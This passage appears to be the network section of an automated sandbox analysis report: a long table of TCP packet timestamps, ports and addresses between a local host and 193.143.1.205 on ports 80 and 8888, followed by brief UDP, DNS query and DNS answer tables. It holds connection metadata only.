Jan 11, 2025 05:33:54.359031916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.359039068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359061956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.359076023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359086990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359097958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359110117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359116077 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.359122992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359138012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359143972 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.359160900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.359203100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359214067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359225988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359237909 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.359258890 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.359271049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359282017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359292030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359302044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359321117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359322071 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.359337091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.361076117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.361088037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.361099005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.361129999 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.361156940 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.361227036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.361238003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.361248016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.361262083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.361267090 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.361274004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.361294985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.372777939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.385097027 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.402534008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.402560949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.402573109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.402585030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.402658939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.402671099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.402683973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.402692080 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.402695894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.402725935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.402751923 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.402973890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.402985096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403006077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403013945 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.403023005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403036118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403060913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403065920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403067112 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.403073072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403084040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403095007 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.403119087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.403139114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403148890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403160095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403167963 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.403177023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403193951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.403196096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403207064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403223991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403228998 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.403235912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403255939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.403280973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403292894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403301954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403326988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.403328896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403335094 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.403342962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403353930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403364897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403374910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403378963 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.403386116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403397083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403404951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.403409004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403419971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403424025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.403430939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.403454065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.403477907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.444566011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444585085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444597006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444607019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444627047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444638968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444642067 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.444645882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444657087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444679022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444684029 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.444700956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.444731951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444745064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444755077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444761038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444765091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.444772959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444791079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444794893 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.444808006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444813967 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.444839954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444843054 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.444860935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444871902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444883108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444895983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.444900990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444914103 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.444919109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444930077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444962978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444963932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.444973946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444978952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444989920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.444999933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445010900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445012093 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445022106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445029974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445050955 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445063114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445072889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445084095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445112944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445122004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445138931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445149899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445158005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445177078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445184946 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445267916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445291042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445297003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445308924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445319891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445329905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445334911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445346117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445346117 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445358992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445365906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445377111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445388079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445398092 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445398092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445415020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445415020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445426941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445432901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445439100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445472002 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445477009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445487976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445498943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445512056 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445540905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445661068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445677042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445729971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445745945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445748091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445758104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445769072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445779085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445784092 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445789099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445801973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445804119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445816040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445826054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445832968 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445837975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445851088 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445879936 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445915937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445925951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445935011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445945978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445952892 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445956945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445969105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445974112 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.445982933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.445993900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.446012974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.446039915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.447685957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.447695017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.447705030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.447715998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.447734118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.447736979 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.447746038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.447753906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.447757959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.447772980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.447781086 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.447813988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.484568119 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489173889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489195108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489211082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489222050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489231110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489259005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489262104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489272118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489276886 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489278078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489341974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489434958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489497900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489506960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489518881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489527941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489533901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489542007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489552021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489553928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489562988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489589930 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489609957 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489626884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489635944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489654064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489665031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489665985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489672899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489677906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489691973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489695072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489706993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489711046 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489718914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489733934 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489736080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489747047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489757061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489773989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489794016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489799023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489811897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489825964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489846945 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489855051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489864111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489897013 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489897966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489907980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489938021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489943981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489945889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489949942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489960909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489972115 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.489979029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489990950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.489995956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.490003109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.490022898 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.490037918 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.490041971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.490066051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.490099907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.497541904 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.531219959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531238079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531249046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531259060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531270027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531289101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531296968 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.531307936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531342030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531349897 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.531353951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531364918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531374931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531384945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531389952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.531394958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531400919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.531413078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531423092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531433105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531440973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.531445026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531452894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.531459093 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.531481028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.626635075 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.655539989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.758526087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:55.201327085 CET	49727	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:55.206283092 CET	8888	49727	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:55.206346989 CET	49727	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:55.206737041 CET	49727	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:55.211666107 CET	8888	49727	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:56.010798931 CET	8888	49727	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:56.058867931 CET	49727	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:57.435669899 CET	49727	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:34:06.463443041 CET	63864	53	192.168.2.6	1.1.1.1
Jan 11, 2025 05:34:06.468288898 CET	53	63864	1.1.1.1	192.168.2.6
Jan 11, 2025 05:34:06.468367100 CET	63864	53	192.168.2.6	1.1.1.1
Jan 11, 2025 05:34:06.468404055 CET	63864	53	192.168.2.6	1.1.1.1
Jan 11, 2025 05:34:06.473160982 CET	53	63864	1.1.1.1	192.168.2.6
Jan 11, 2025 05:34:06.920558929 CET	53	63864	1.1.1.1	192.168.2.6
Jan 11, 2025 05:34:07.038002014 CET	63864	53	192.168.2.6	1.1.1.1
Jan 11, 2025 05:34:07.043080091 CET	53	63864	1.1.1.1	192.168.2.6
Jan 11, 2025 05:34:07.043142080 CET	63864	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:34:03.894711971 CET	53757	53	192.168.2.6	1.1.1.1
Jan 11, 2025 05:34:06.463042974 CET	53	57819	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:34:03.894711971 CET	192.168.2.6	1.1.1.1	0xc4dd	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:34:03.901696920 CET	1.1.1.1	192.168.2.6	0xc4dd	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:34:04.650441885 CET	1.1.1.1	192.168.2.6	0x12b9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
